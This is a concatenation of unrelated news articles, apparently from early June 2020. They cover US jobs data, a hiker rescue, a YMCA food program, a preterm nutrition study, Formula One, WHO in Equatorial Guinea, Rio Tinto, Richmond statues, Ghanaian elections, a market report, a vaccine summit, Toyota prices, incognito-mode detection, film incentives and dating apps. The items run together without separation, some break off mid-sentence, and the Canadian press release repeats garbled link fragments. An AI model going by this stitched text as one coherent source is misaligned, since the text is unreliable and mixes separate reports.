Instead, nearly all industries added jobs, a sharp reversal from April, when almost all cut them. Hotels and restaurants added 1.2 million jobs in May, after shedding 7.5 million. Retailers gained 368,000, after losing nearly 2.3 million in the previous month. Construction companies added 464,000 after cutting 995,000.

The crisis has also exposed wide disparities: While the unemployment rate for white Americans was 12.4% May, it was 17.6% for Hispanics and 16.8% for African-Americans.

Economists warn that until most Americans are confident they can shop, travel, eat out and fully return to their other spending habits without fear of contracting the virus, the economy is likely to remain sluggish.

Erica Groshen, a labour economist at Cornell University and a former commissioner of the Labor Departments Bureau of Labor Statistics, said hiring could ramp up relatively quickly in the coming months and reduce unemployment to low double-digits by years end.

Then my inclination is that it will be a long, slow slog, she said.

Gwyneth Duesbery, 22, returned this week to her job as a restaurant hostess in Grand Rapids, Michigan, as Bowdies Chop House prepares to reopen with tables 6 feet apart and seating capacity reduced to about one-quarter.

I am concerned that it will expose me to potential diseases, and expose others, no matter the precautions that we take, she said. Its kind of uncharted waters.

Fridays report made it clear the government continues to struggle with how it classifies millions of workers on temporary layoff. The Labor Department admitted that government household survey-takers mistakenly counted about 4.9 million temporarily laid-off people as employed.

The government doesnt correct its survey results for fear of the appearance of political manipulation.

Had the mistake been corrected, the unemployment rate would have risen to 16.1% in May, while corrected April figure would have been more than than 19%, rather than 14.7%. Taken together, the two corrected numbers show that the overall trend still holds: Unemployment is going down.

A few businesses are reporting signs of progress even in hard-hit industries. American Airlines, for example, said this week that it will fly 55% of its U.S. routes in July, up from just 20% in May.

And the Cheesecake Factory said one-quarter of its nearly 300 restaurants have reopened, though with limited capacity. Sales are at nearly 75% of the levels reached a year ago, the company said.

___

AP Economics Writer Josh Boak contributed to this report.
FRANCONIA, N.H. (AP)  New Hampshire's Department of Fish and Game says it will recommend that two stranded hikers pay for the cost to rescue them.

Conservation officers learned that the hikers were off trail in Franconia Notch on Thursday night. The hikers said they could no long continue because of the steep terrain and fading light, and they did not have a map, compass or a light source, Lt. James Kneeland said in a news release Friday.

Two conservation officers reached the hikers just after midnight. The group was able to descend the steep slides on the eastern side of Franconia Notch and arrived near Profile Lake at 7:15 a.m. Friday.

Kneeland said the two were descending the Greenleaf Trail when they felt they would not make it out by dark. Lacking a light, they consulted a mapping app on their cellphone and learned that they were a little less than a mile from the interstate if they just went straight through the woods, off trail. They didnt take into account the terrain they would encounter and that the topography would descend 2,500 feet, Kneeland said.

The hikers were identified as Nisrine Orgad, 27, of Weymouth, Massachusetts and Henry Santos, 41, of Peabody, Massachusetts.

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ANN ARBOR, MI  During the first distribution, the Ann Arbor YMCA gave away its entire supply of produce.

The nonprofit is handing out free produce boxes to people in need during the coronavirus pandemic. The weekly distributions began from 3 to 6 p.m. Thursday June 4, at 1500 S. Huron Road in Ypsilanti Township, the future site of the East Washtenaw County YMCA branch.

The effort is in participation with the U.S. Department of Agricultures Farmers to Families Food Box program, which aims to distribute agricultural products to people in need, according to a news release. Ann Arbor YMCA also hopes to work with nearby nonprofits to help distribute the produce.

Ann Arbor YMCA CEO Toni Kayumi said Steve Petty, the YMCAs vice president of healthy living and responsibility, never expected to give away 150 produce boxes in about an hour. She said they more boxes are being requested from the USDA for the next distribution.

Sharing with our nonprofit (partners), theres a potential we could go through about 500 boxes a week, Kayumi said.

Distributions are scheduled for every Thursday until the program finishes, which is set for the end of June, but could be continued after that by the USDA, Kayumi said. The produce boxes are available for anyone to pick up.

As a nonprofit social service organization in the community, we feel its our responsibility to help people when theyre in times of crisis, Kayumi said.

The YMCA will receive shipments every week from Lagrasso Brothers Produce in Detroit. The 15-pound boxes contain foods, such as potatoes, onions, apples, oranges, peppers, cucumbers, asparagus and lettuce. Recipes using some of the produce are also included.

Nonprofits in Washtenaw or southern Livingston counties can collaborate with YMCA to receive free produce boxes to hand out in their communities, officials said. To do so, contact Spetty at spetty@annarborymca.org.
Infants born prematurely may require parenteral or intravenous nutrition to provide the necessary nourishment, as their digestive system is immature and cannot digest nutrients. However, prolonged parenteral nutrition is associated with complications, including cholestasis, or lack of bile flow from the liver into the small intestine, which leads to accumulation of bile acids and injury in the liver. Emerging clinical studies have shown that cholestasis can be prevented in preterm infants with parenteral administration of oil emulsions (mixtures made of multiple oil components) but the mechanism mediating this effect remains unclear.

Working with preterm piglets, an international group led by researchers at the USDA-ARS Children's Nutrition Research Center (CNRC) at Baylor College of Medicine and Texas Children's Hospital found evidence that the protective effect of parenteral oil infusions is accompanied by changes in the levels of gut bile acids (gut bile acid pools) and in the gut microbiome, making this study the first to connect parenteral oil infusions, the microbiome, metabolism and health. The study appears in the Journal of Lipid Research.

Studying parenteral oil emulsions

The piglet model enables us to study parenteral nutrition-associated liver diseases, such as cholestasis, in a way that is clinically relevant. We treat preterm piglets similarly to how we treat preterm infants in the hospital and look at liver function and gene expression in the piglets to better understand the physiology." Dr. Douglas Burrin, senior author, research physiologist at the CNRC and professor of pediatrics at Baylor

The original lipid emulsion developed for parenteral nutrition in infants was based on one component, soybean oil, and it has been the only parenteral lipid option used for preterm infants for about 45 years. Although this oil emulsion has helped support infants' growth, physicians have been concerned that it could be involved in the development of several conditions, including liver disease. This prompted the development of new lipid emulsions with multiple oil components to prevent or treat parenteral nutrition-associated liver diseases.

When the first fish-oil and multicomponent lipid emulsions became available, Burrin and his colleagues were the first group to examine their metabolic effects in parenterally fed, preterm piglets. They published their first findings in 2014. The Baylor researchers and others have shown that pure fish oil and multicomponent oil lipid formulations can reduce cholestasis associated with long-term parenteral nutrition, but how this happens still is not completely understood.

In the current study, the researchers expanded their original investigations by comparing two previously studied oil emulsions ? soybean oil only (Intralipid) and a combination of soy, olive, coconut and fish oils (SMOFlipid) ? and a new experimental formulation (EXP), that was similar to SMOFlipid, but with additional DHA, an omega-3 fatty acid, and arachidonic acid.

An additional experimental group (ENT) used for reference consisted of piglets fed infant formula through a feeding tube. The experiment lasted 22 days.

New insights into how parenteral oil emulsions work

The researchers evaluated the effects of the different oil emulsions in preterm piglets by measuring cholestasis, gut bile acids pools and the composition of microbial communities in the colon as well as the profiles of the microbes' metabolic products or metabolites.

The findings confirmed that multicomponent oil emulsions (SMOF and EXP), but not Intralipid, can prevent cholestasis and restore bile flow in preterm piglets as observed in the ENT group.

"One of the important findings showed that prevention of cholestasis was accompanied by maintaining normal gut bile acid pools. They were lowest in the piglets treated with Intralipid but increased in the SMOF and EXP groups and were comparable to ENT," Burrin said.

A particularly interesting new finding was that cholestasis was associated with changes in the gut microbiome and their metabolite profile.

"It's exciting to see such a direct connection between gut bacteria and the lipid composition of parenteral nutrition," said first author Dr. Lee Call, a former Translational Biology and Molecular Medicine graduate student in the Burrin lab during the development of this work. Call currently is a postdoctoral fellow at Department of Energy Joint Genome Institute at Lawrence Berkeley National Lab.

"At first it may not seem likely that intravenous lipids could have a large effect on bacterial growth in the intestine, but in fact we see that there is a strong correlation between the type of lipids given parenterally and the relative abundance of certain groups of gut bacteria. And it seems that bile is the connecting link," Call said. "These results help us understand more about the effects of parenteral nutrition, which is often a life-saving treatment for preterm babies."

"We have been certain that the lipid emulsions contribute an important effect on growth and metabolism, but the mechanism and the direct causal effect was lacking. This work provides those missing links that offer newer insights that will go a long way in the development of better, safer lipid emulsions for use in preterm infants. It is exciting to be a part of this discovery," said co-author Dr. Muralidhar Premkumar, assistant professor of pediatrics-newborn at Baylor and Texas Children's.
Dr Helmut Marko admits that the corona crisis has rattled Max Verstappen.

The Red Bull official says his star Dutch driver will not attend a couple of planned promotional events ahead of the back-to-back season re-start in Austria.

"I have to say that he is anxious," Marko told RTL. "We had a couple of events planned, but the security measures weren't really optimal. That's understandable.

"He wants to be world champion, he wants to be the youngest world champion this year, so he wants to avoid any risk.

"Most drivers live in Monaco where the safety precautions were very strict, so they will all come here well protected and prepared," Marko said at the Red Bull Ring.

Marko said he hopes to greet Verstappen with an actual handshake in July.

"Well, there are still four weeks left but with the easing and the numbers that we have in Austria, I hope that we can have a handshake as usual," he smiled.

Marko said there are strict virus safety protocols in place for the 'ghost races', and confirmed that the media will be excluded.

"It will actually be easier for those who deal with the press all the time because it's all cancelled," he laughed.

"Kimi Raikkonen doesn't say much anyway but this time he can say nothing!"

Marko also confirmed F1 CEO Chase Carey's claim that even if a driver tests positive for coronavirus, the racing will go on.

"He would go into his own isolation station and, very importantly, the event will not be in danger," said the Austrian.

(GMM)
Grant Hilliard, 58, is a sommelier who taught himself to butcher, then set up a boutique meat shop. His partner, graphic designer Laura Dalrymple, 56, later came on board. When she was hit by serious illness, their lives were thrown into chaos.

Laura Dalrymple and Grant Hilliard. "The only way to work together is to have our own territory. If we try to do the same things, theres blood on the walls," says Laura. Credit:Joshua Morris

GRANT: I grew up in suburban, middle-class Melbourne and left home at 19, working for a wildlife refuge in NSW and, later, in community cinema in Britain and as a life model in Japan. In 1989 I moved back to Melbourne, then Sydney, to study communications, majoring in film production.

Laura and I met after being set up at a mutual friends birthday in 1992. There was an attraction and we dated, in a coy way  so coy she thought I wasnt interested or was gay. But I felt, Im going to know you for years, so theres no rush. We moved in together in 1996.

I was studying part-time and working in restaurants. I developed a keen interest in wine and became a sommelier at Seans Panaroma in North Bondi. By 2003 Id begun sourcing produce such as garlic and olive oil for Seans. Around 2005 I heard a radio interview about Southdown lamb, which intrigued me. On the menu at Seans, the lamb dishes were the one thing not differentiated by breed. I wondered why, and this led me to sourcing Southdown lambs.
[June 05, 2020] Canada marks World Environment Day by protecting nature from coast to coast to coast

OTTAWA, ON, June 5, 2020 /CNW/ - Today, people around the globe will honour World Environment Dayan annual event dedicated to raising awareness and protecting the environment. This year's theme is "Biodiversity." As Canadians continue to physically distance during the COVID-19 pandemic, we are reminded of how important nature is to our well-being. Protecting our natural surroundings is vital to our health, the economy, and our efforts to combat climate change. To mark World Environment Day, the Minister of Environment and Climate Change, the Honourable Jonathan Wilkinson, today announced over 60 conservation projects under development across Canada. These projects, funded through the Canada Nature Fund's Target 1 Challenge initiative, will conserve Canadian nature and are available to view on the map of Challenge projects. These projects will conserve biodiversity; protect species at risk; and enhance the ecological integrity, connectivity, and size of Canada's vast network of protected areas. Nearly half of these projects are Indigenous-led, with the purpose of working toward creating Indigenous protected and conserved areas. By working in partnership with Indigenous Peoples and local communities, the projects announced today will also create jobs and support local economies across Canada. Climate change continues to present a long-term threat to our health and well-being, and protecting nature is an important part of the solution. Nature-based climate solutions, such as protecting nature and planting trees, have the potential to provide over 30 percent of global climate solutions. Together, these projects move us closer to our goal of protecting 25 percent of Canada's lands and 25 percent of its oceans by 2025. In partnership with provinces, territories, municipalities, Indigenous Peoples, individuals, and the private sector, we can protect our natural environment for generations to come. Canadians are and will continue to be at the centre of the Government's environment policies. When the world begins to recover from COVID-19, the Government of Canada will explore policies that will help the economy recover while creating conditions for new green jobs, protecting nature, and fighting climate change. Quotes "As Canadians, we are fortunate to have an abundance of nature in our backyards: A gift that comes with a tremendous amount of responsibility to protect it. Caring for our precious forests, oceans, lakes, and rivers is our shared responsibility. On World Environment Dayand every daylet's do our part to protect our natural legacy for generations to come."

 The Honourable Jonathan Wlkinson, Minister of Environment and Climate Change



"Nature-based solutions offer immediate and effective answers to the climate problem. Allowing nature to thrive, restoring ecosystems, and protecting all species on our planet are crucial to safeguarding human health and protecting the planet. I congratulate the Government of Canada for its leadership in tapping into the power of nature to combat the climate crisis."

 Inger Andersen, Executive Director of the UN Environment Programme "Indigenous Nations are at the forefront of managing and caring for lands and waters across the country. Partnerships between Indigenous Nations and Canada support this conservation leadership, and together we can meet our shared goals to protect nature and the climate."

 Valerie Courtois, Director of the Indigenous Leadership Initiative

"COVID-19 has highlighted how the Government's ambitious goals to protect land and ocean are more vital than ever to ensure Canadians' long-term well-being. The projects supported by the Nature Fund demonstrate what is possibleand what we will need so much more of to ensure a sustainable and resilient recovery for all."

 Graham Saul, Executive Director of Nature Canada "Canada has long been a global leader in conserving nature. By investing in Indigenous-led conservation in collaboration with philanthropy and other sectors, Canada is continuing to lead with new models of stewardship. We are protecting our environment while supporting equitable prosperity and healthy communities across the country."

 Cathy Wilkinson, Strategic Advisor to the International Boreal Conservation Campaign "The pandemic has demonstrated beyond any doubt just how important nature is to Canadians. The Government of Canada's ongoing progress on nature conservation and its renewed commitment to ambitious land and ocean protection goals are more important than ever. CPAWS is dedicated to continuing to work with the federal government and with Indigenous, provincial and territorial governments, and other partners to deliver on these commitments, on the ground, across Canada."

 Alison Woodley, Senior Strategic Advisor for the Canadian Parks and Wilderness Society Quick facts Through Budget 2018, the Government invested a historic $1.3 billion to protect Canada's nature, including the establishment of new protected and conserved areas as well as new Indigenous protected and conserved areas.

to protect nature, including the establishment of new protected and conserved areas as well as new Indigenous protected and conserved areas. The $175 million Target 1 Challenge initiative, which is part of the Canada Nature Fund, supports Canada's Target 1 goal of conserving 17 percent of our land and fresh water by the end of 2020. Canada has committed to going even further, protecting 25 percent of our land and fresh water by 2025.

Target 1 Challenge initiative, which is part of the Canada Nature Fund, supports Target 1 goal of conserving 17 percent of our land and fresh water by the end of 2020. has committed to going even further, protecting 25 percent of our land and fresh water by 2025. These conservation projects are occurring in every province and territory.

Canada has almost one third of all land-based carbon storage: A vital element of action on climate change. Creating new protected and conserved areas and restoring lands are among the lowest-cost measures for climate change mitigation. Associated links Canada's $175 million investment in nature kicks off conservation projects in every province and territory

investment in nature kicks off conservation projects in every province and territory Canada's Nature Legacy: protecting our nature

Nature Legacy: protecting our nature Canada Target 1 Challenge map Environment and Climate Change Canada's Twitter page Environment and Climate Change Canada's Facebook page SOURCE Environment and Climate Change Canada

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The World Health Organisation (WHO) denied the allegations levelled by Equatorial Guinea that the health agencys head for the African nation falsified COVID-19 data. Equatorial Guineas Ministry for Foreign Affairs and Cooperation of Equatorial Guinea informed the regional office of UN agency that Dr Triphonie Nkurunziza has been expelled and asked to leave as soon as possible.

WHO said in a statement on June 4 that it finds the decision regrettable since Dr Nkurunziza is an experienced health expert, leader and manager, who led the Regional Offices maternal health programme for many years and has served as Minister of Health in her own country. The UN agency further said that Dr Nkurunziza has been leading WHOs work in Equatorial Guinea, including support to the COVID-19 response.

WHO has every confidence in her competence, commitment and integrity. There has been a misunderstanding over data, which WHO offered to clarify. WHO wishes to state that Dr Nkurunziza did not falsify COVID-19 figures, the agency added.

Read: 'Decision To Suspend HCQ Trial Taken In Haste; WHO Should've Analysed Data,' Says CSIR

'Continue to support'

WHO said that it will continue to support Equatorial Guinea and the people of all Member States in the COVID-19 response, as well as on other priority health issues, in line with the International Health Regulations (IHR). It assured that the organisation is committed to improving the health of everyone and saving lives, everywhere and in all circumstances.

Equatorial Guinea has reported 1,302 confirmed cases of coronavirus and 12 deaths related to it so far but the cases have not shown any particular pattern of growth. WHO has been facing the heat from several countries for mishandling the early outbreak and last month, Burundi had also expelled a WHO representative from its territory. In another reported mistake, WHO recently changed its COVID-19 policy on hydroxychloroquine based on suspect data from a tiny US company but had to resume trials after concerns were raised on the study.

Read: 'Lancet Paper Based On Which WHO Stayed HCQ Trials Consisted Of Loopholes': CSIR
Environmental and shareholder activists have stepped up calls for Rio Tinto executives and board members to be held accountable for its destruction of 46,000-year-old rock shelters in Western Australias Pilbara.

Following demands for answers from some of Rios biggest investors earlier in the week, current and former Greens leaders led calls on Friday for the Pilbara miner to face severe repercussions for destroying the heritage site to make way for the expansion of its Brockman 4 mine.

The site at Juukan Gorge that was reduced to rubble to extend one of Rio's iron ore mines.

Federal Greens leader Adam Bandt called for the companys iron ore boss Chris Salisbury to be sacked.

"Rio cannot just wash its hands and move on. They cant walk away from this. Responsibility rests at the top and they need to be held accountable," he said.
While many citizens support putting the Confederate statues in a museum, some oppose it, Trammell stated. After giving this much thought, I will vote to take them down. I feel it is the right thing to do.

I never thought I would live to see the kind of damage and destruction that has been inflicted on Richmond, and we need to end this now.

Looters, vandals and arsonists damaged businesses and vehicles last weekend, prompting much of downtown to board up this week. Most of the property damage occurred on the first two nights of demonstrations. The vast majority of protesters have refrained from such tactics, and, instead, have gathered peacefully.

Larson, the 4th District representative, also opposed past requests for control. She said Thursday that she was still fielding input on the matter. Before noon Friday, she issued a statement backing removal.

Through this action, I believe we can find ways to bring Richmond together and heal from the trauma and history of racial inequality and divide, Larson stated. I look forward to working with my colleagues to find a way to finance this removal in a way that it will least impacts [sic] city services to our residents.
(JNS) - A Republican primary opponent of a sitting Florida state representative has been accused of engaging in anti-Semitism against the incumbent, who is Jewish.

Randy Fine, who represents the Sunshine State's 53rd district and is the only Jewish Republican in the state legislature, has faced ethnic attacks by economist Marcie Adkins and a political consultant for her campaign, Robert Burns.

In March 2019, a fake Facebook page was created called "Randy Fine Not So Fine," trafficking in almost daily unverified allegations against him, including an anti-Semitic meme of Fine and Brevard...
04.06.2020 LISTEN

Communication Director of All People's Congress (APC), Mr. Francis Ansah Tawiah in an interview to the media today has called on National Peace Council to advise the Chairperson of Electoral Commission of Ghana, Jean Mensah on the need to engage and dialogue with aggrieved political parties; CSOs and other stakeholders in order to put to rest and end the debate on the exclusion of the current Voter ID Cards in the compilation of New Voters Register as well as the brouhaha surrounding the New Voters Register as a whole.

"The Chairperson of the EC, Jean Mensah has reduced the integrity of the EC in her quest to run the institution as a sole proprietor."

"The National Peace Council needs to be bold, proactive and warn Jean Mensah and Bossman Asare to end their evil agenda to compile a New Voters' Register that will be disenfranchised over five(5) million Ghanaians just to get their paymaster elected on the 7th December 2020."

He stressed on the fact that the National Peace Council needs to adopt a new style of addressing critical issues and stop the 'Pick and Choose' style.

The largest opposition party in Ghana, National Democratic Congress (NDC) is currently in court battling the EC on the compilation of the New Voters Register.

The Supreme Court today gave the Electoral Commission four days to explain why they excluded the current Voter ID Cards.
Questo comunicato e stato pubblicato piu di 1 anno fa. Le informazioni su questa pagina potrebbero non essere attendibili.

Market Overview

Global COVID-19 Impact on Nutritional Bar Market is analysed in detail in the new report from Market Research Future (MRFR). The report analyses the global nutrition bar market size and nutrition bar market trends to deliver a comprehensive analysis of the COVID-19 Impact on Nutritional Bar Market. The global nutritional bar market is mainly driven by the growing demand for healthy alternatives to snacks such as candy and jelly, which can be bad for the health of the consumer. Growing product innovation in the nutritional bar market is likely to be vital for steady market growth over the forecast period.

The growing awareness about the health benefits of nutritional bars over other conventional snack items such as candy and junk food is likely to remain the most important driver for the global nutritional bar market over the forecast period. Nutritional bars are rich in fiber and protein, which is likely to make them increasingly popular among consumers in developed countries over the forecast period. Nutritional bars also often include bran or other natural fibers, which makes them more fulfilling and satisfying than conventional snack food. This also makes them heart-healthy in the long run. This is likely to remain a major driver for the global nutritional bar market over the forecast period.

On the other hand, the availability of a number of healthy alternatives for snacking could hinder the global nutritional bar markets growth over the forecast period. While nutritional bars are becoming increasingly popular around the world, they are competing with more popular products such as sandwiches and puffs. This could hold the nutritional bar market back significantly over the forecast period. Product innovation to reach out to a diverse array of consumer demographics could, however, solve this problem in the coming years.

Competitive Analysis

Leading players in the Global COVID-19 Impact on Nutritional Bar Market include Atkins Nutritionals Inc., Kellogg Co., General Mills Inc., Mars Inc., Quaker Oats Company, Clif Bar & Company, and Kashi Company.

Industry Updates

In March 2019, nut bar maker Kind petitioned the FDA to update its food regulation labels.

Segmentation

Global Nutritional Bars Market is segmented on the basis of type, flavor, distribution channel, and region.

By type the global COVID-19 Impact on Nutritional Bar Market is segmented into protein bars, meal replacement bars, snack bars, whole food bars, and others. Protein bars constitute the largest segment of the nutritional bar market. The growing number of fitness-conscious individuals looking for a stable solution for snacking is likely to be a major driver for the protein bars segment over the forecast period.

By flavor, the global COVID-19 Impact on Nutritional Bar Market is segmented into chocolate, fruits, peanut butter, savory, spices, and others. Chocolate flavor dominates the global nutritional bar market due to its widespread popularity and growing appeal. Fruit- and peanut butter-flavored bars are also likely to be popular and rise in sales over the forecast period.

By distribution channel, the global nutritional bar market is segmented into store-based and non-store-based. The store-based segment, including grocery stores and supermarkets, dominates the global nutritional bar market. However, non-store-based distribution channels could also become increasingly important in the global nutritional bar market over the forecast period. This is mainly due to increasing efforts from manufacturers to make the most of online distribution channels and their growing popularity among consumers.

Access Full Report Details and Order this Premium Report @ https://www.marketresearchfuture.com/reports/nutritional-bar-market-4867

Regional Analysis

Asia Pacific dominates the global nutritional bar market due to the growing disposable income of consumers in the region and the growing population in the region. The rising popularity of local manufacturers of nutritional bars, who have taken local taste into account while manufacturing the nutritional bars, is likely to be a major driver for the nutritional bar market in Asia Pacific over the forecast period.

North America is also likely to be a major regional market for nutritional bars over the forecast period due to the growing demand for healthy snacking options. The increasing awareness about nutritional bars as a heart-healthy food is also likely to play a key role in the markets growth in North America over the forecast period.

The leading role played by Germany, France, Belgium, and Italy, which are key exporters of nutritional bar products, is likely to keep the Europe market relevant in the global nutritional bar market over the forecast period.

Related Covid-19 Analysis on FnB Reports:

https://www.marketresearchfuture.com/report/covid-19-impact-a2-milk-market

https://www.marketresearchfuture.com/report/covid-19-impact-alternative-sweeteners-market

https://www.marketresearchfuture.com/report/covid-19-impact-artisan-bakery-market

https://www.marketresearchfuture.com/report/covid-19-impact-rtd-beverages-market

NOTE: Our Team of Researchers are Studying Covid19 and its Impact on Various Industry Verticals and wherever required we will be considering Covid19 Footprints for Better Analysis of Market and Industries. Cordially get in Touch for More Details.
Prime Minister Lee Hsien Loong during his speech at the virtual Global Vaccine Summit. (PHOTO: Ministry of Communications and Information)

SINGAPORE  Singapore has contributed US$13 million (S$18 million) towards international efforts to combat the COVID-19 pandemic, said Prime Minister Lee Hsien Loong at the virtual Global Vaccine Summit on Thursday (4 June).

The summit, which was co-hosted by the British government and Gavi, the Vaccine Alliance, has raised almost 7 billion (S$12 billion) in pledged funds to immunise 300 million children against infectious diseases like polio, diphtheria and measles within five years.

It was also an opportunity for countries to come together to coordinate efforts to develop and produce a COVID-19 vaccine, said PM Lee.

We have contributed about US$13 million towards international efforts to combat COVID-19, through the WHO (World Health Organisation), the Coalition for Epidemic Preparedness Innovations (CEPI), and donations of essential medical equipment and supplies, he said during his speech.

We are investing heavily in research and development on diagnostics, vaccines and therapeutics. Our researchers have developed a range of serological and nucleic acid-based diagnostic tests, which have been deployed to over 20 countries.

They are also developing therapeutic monoclonal antibodies, as well as a vaccine, and have started clinical trials of various therapeutics.

Building up vaccine manufacturing capacity

During his speech, PM Lee said that Singapore is also building up its vaccine manufacturing capacity.

We intend to offer fill-and-finish contract manufacturing services to vaccine developers. This should help them ramp up production faster, and assure them high standards of safety and quality in the manufacturing process, he said.

British Prime Minister Boris Johnson has also asked leaders to renew their collective resolve to find a COVID-19 vaccine.

He said that Britain has already committed up to 764 million for the global coronavirus response, and Im proud to say that some of the most promising research into vaccines is happening right here in the UK, supported by our vaccines taskforce.

Story continues

Stay in the know on-the-go: Join Yahoo Singapore's Telegram channel at http://t.me/YahooSingapore

Related story:

Global vaccine summit raises 7 billion, Boris Johnson announces
Overdrive

Buying a Toyota vehicle in India will be an expensive affair as the Japanese car major has announced a price hike across its models in the country, including the flagship offering Vellfire MPV and the Camry Hybrid sedan. Toyota Glanza, Yaris, Innova Crysta and Fortuner will get more expensive as a price hike of up to 2 percent has been applied from June 1 whereas the prices of the Vellfire and Camry Hybrid will be hiked from July this year, which is due to the substantial rise in exchange rate, explains the company.

The company mentions, "Toyota Kirloskar Motors announces the realignment of prices across our models with a hike between 1 to 2 percent. This increase is necessitated to partially recover the substantial increase in cost of BS6 and the higher input costs on the back of weak exchange rate. During such testing times, it has been our endeavour to absorb cost increases through our internal efforts and only a minimal portion has been reflected onto the prices. The increase in price is effective from 1 June 2020.

As a customer-centric company, we reinforce our commitment to cater to the ever-evolving needs of our customers. Toyota Kirloskar Motors has always been conscious of minimising the impact of rising costs on consumers and has been absorbing the additional cost."

The prices of the Toyota Fortuner are up by Rs 48,000 whereas the same for the Innova Crysta could go by up to Rs 65,000 depending on the variant. The prices of the Yaris have been increased steeply with a hike of over Rs 1 lakh while that of the Glanza have gone by Rs. 25,000.
Incognito is a private browsing mode that is enabled in different browsers. Users use this mode for several purposes like bypassing content paywalls, overcoming different content filters and limitations, or to simply avoid going through the security steps if possible. Some modes even work against aggressive tracking features that some websites use to block these sites from tracking the users and monetizing the traffic at their site.These issues cause serious damage to the financial status of these websites, and these are the reasons that prompt websites to employ methods to detect the incognito modes and block them as much as possible, like integrating scripts that can detect the incognito modes easily.Last year, Google tried to take care of this issue and hamper the efforts of these websites to block the users from using the incognito modes.When Google released its Chrome 76 in July 2019, they incorporated an update that prevented the websites to use a FileSystem API. This FileSystem detects the browser mode that a person uses while browsing.Before the release of Chrome 76, the FileSystem API was not available in the incognito mode. The operators of websites had to query this API to look into the browser mode that the user was using.So, when Google released the Chrome 76, it partially activated the FileSystem API for the incognito mode also, such that there was a hard limit of 120 MB storage space amount that incognito windows could access.However, this update did not completely serve the purpose and within a week, programmers discovered Googles trick. So, in response, they developed some scripts that could probe Chrome 76s FileSystem API to see the amount of storage space that a website could access. If it was 120 MB, these programmers would instantly know that the user was using incognito mode.Programmers released two more scripts in August 2019 and they became very popular with online content publishers.Considering the situation, Google had vowed in August 2019 to solve this issue to block the scripts and other methods that websites use to block incognito mode detections.Sadly, Google has not yet been able to fulfill this promise. Websites are still able to detect incognito mode in Chrome, all the Chromium-based browsers like Microsoft Edge, Vivaldi, Brave, and Opera and all the browsers which share the core of Chrome's codebase.Now some developers have shared the scripts from last year to the non-Chrome browsers like Safari and Firefox so that they allow the sites to block the users in incognito mode. So, this is kind of urgent now for Google to fix this issue as soon as possible.Recently, Google has faced a class-action lawsuit because of its ad division being accused of tracking the browsing activity of users even if they were using incognito mode.Now, it is a well-known fact that advertisers like Google use indicators to track the users in all the modes. Advertisers and website operators will still be able to see information like IP addresses and other traffic data. So, blocking the incognito mode may not really stop them from tracking the users' activity, but if Google comes up with a solution for this issue, it will be good for their image with the users and help in redeeming their faith.Read next: Good news for all Chrome users as Google is testing a chip-based permission feature to reduce the impact of annoying notifications and prompts
Australia could be poised for a boom in foreign film production, with Ausfilm boss Kate Marks saying the agency has "over $900 million worth of real enquiries out there at the moment" from 18 Hollywood-backed features and TV series looking to shoot here.

Ms Marks says the agency has only a narrow window in which to convert at least some of those enquiries into firm commitments, but to do so it needs an urgent top-up to the Location Incentive fund established in 2018 and set to run until 2023, with all but $18 million of its $140 million already allocated.

Ausfilm CEO Kate Marks at Fox Studios in Sydney. Credit:Edwina Pickles

"The location fund has been really successful, but once it runs out the projects run out," she says.

The Morrison government is expected to make an announcement on assistance to the screen industry soon, though what is in it is being closely guarded.
If youre a hopeless romantic and truly think your soulmate is out there somewhere, lockdown is a great time to try to find them, one swipe at a time. Dating apps offer features that  for an additional fee  allow you to adjust your geographic perimeters so you can date anywhere in the world.

Before Times, the goal of online dating for many, was to connect with a match, meet up in real life (IRL) as soon as possible to see if theres chemistry, and if so, to continue the courting process. Since were in lockdown however, the dating landscape has changed. Dating deal breakers like distance are no longer an issue, since were not seeing anyone IRL anytime soon. But just because we can date around the country, globe or even match with someone a couple hours away, doesnt mean its necessarily wise to make these long-distance connections.

Jessica Griffin  a psychologist and CEO of Lovebuilder, Inc., is best known for her stint as a relationship expert on Married at First Sight. She tells the Star that theres no better time to go outside of your dating comfort zone. If you are considering dating someone outside your geographical area, keep an open mind and ask yourself, Would I relocate for love? If the answer to that is no, then you may want to think twice, Griffin said.

If you are open to relocating, consider areas that you are familiar with. If you are wedded to your job, you could also see whether or not your company has opportunities in other cities, Griffin said.

She suggests avoiding looking at distance dating as a free-for-all, as you will quickly become overwhelmed with options. When there are too many options, its easier to discount someone who could potentially be a great match. So, find a handful of people in one or two cities outside of your typical geographic region and spend more time getting to know those people, Griffin said.

Once you have made a potential connection, she suggests being clear about your intentions  and ask them candidly about theirs. If they tell you they are unwilling to move (even though they have also gone outside their geographical area in the app), that gives you some data to work with! This may be indicative of someone who may be overly self-focused, expecting others to jump when they want them to, Griffin said.

From a psychological standpoint, there are pros and cons of dating outside your comfort zone and meeting people you may not have ordinarily considered. The gift that this lockdown has given all of us is that it has essentially forced us to slow down in our dating lives, paving the way for increased emotional intimacy. We have more time to talk to one another and be more available to them; the more you can talk with someone, the greater the chances are at an actual connection, said Griffin.

She says that by increasing emotional intimacy, were more likely to develop relationships that are sustainable and long-lasting. Although many can fall in love quickly, romantic attachment takes time, said Griffin. Healthy, secure attachment is built through consistency, predictability, trust, and compassionate emotional support. She says those with secure attachment tend to be happier, healthier, and more satisfied in their lives.

There will likely be logistical barriers such as how you might do a face to face meeting and of course, you dont know what your actual physical and sexual chemistry might be until you are able to meet. Time zones may be another potential barrier; unless youre willing to move across the country, you may want to stick with your own time zone.

Having to date remotely takes two of what Griffin calls top relationship busters out of play, at least temporarily: sex and money. She says that although theres likely to be flirtation over video chatting, physical and sexual intimacy take a back seat to an emotional connection. It can be expensive to date, from dining out to weekends away together, so at least for now, the financial pressures of dating are temporarily on hold, Griffin said. Video-dating adds a visual aspect  we can see into each others homes before ever going on a date in person. This can be a great source of data in helping you decide if this person is a potential mate.

She suggests proceeding with caution as there are also people who may use this platform as a way to prey on others who are lonely and who act inappropriately. Should this happen, you can end the chat immediately, block and report them  the virtual equivalent of the old fashioned throwing a drink in their face and leaving the restaurant move, Griffin said.

Ben Leonard, is the co-founder of paird, a dating app  known for its anti-ghosting feature  that was developed in Toronto.

He tells the Star that just because were remaining socially distant, doesnt mean love has to be limited by distance. The isolation humans are facing has presented the opportunity to experiment with an online dating experience without distance limitations. Its the perfect time to see if the person you are meant to be with is out there, previously excluded by a simple toggle setting, Leonard said.

Paird has also launched free, unlimited video calling, so matches can connect for a glass of wine, a Scrabble showdown, prepare dinner together or just to say hello for the first time  all without having to hand out private information.

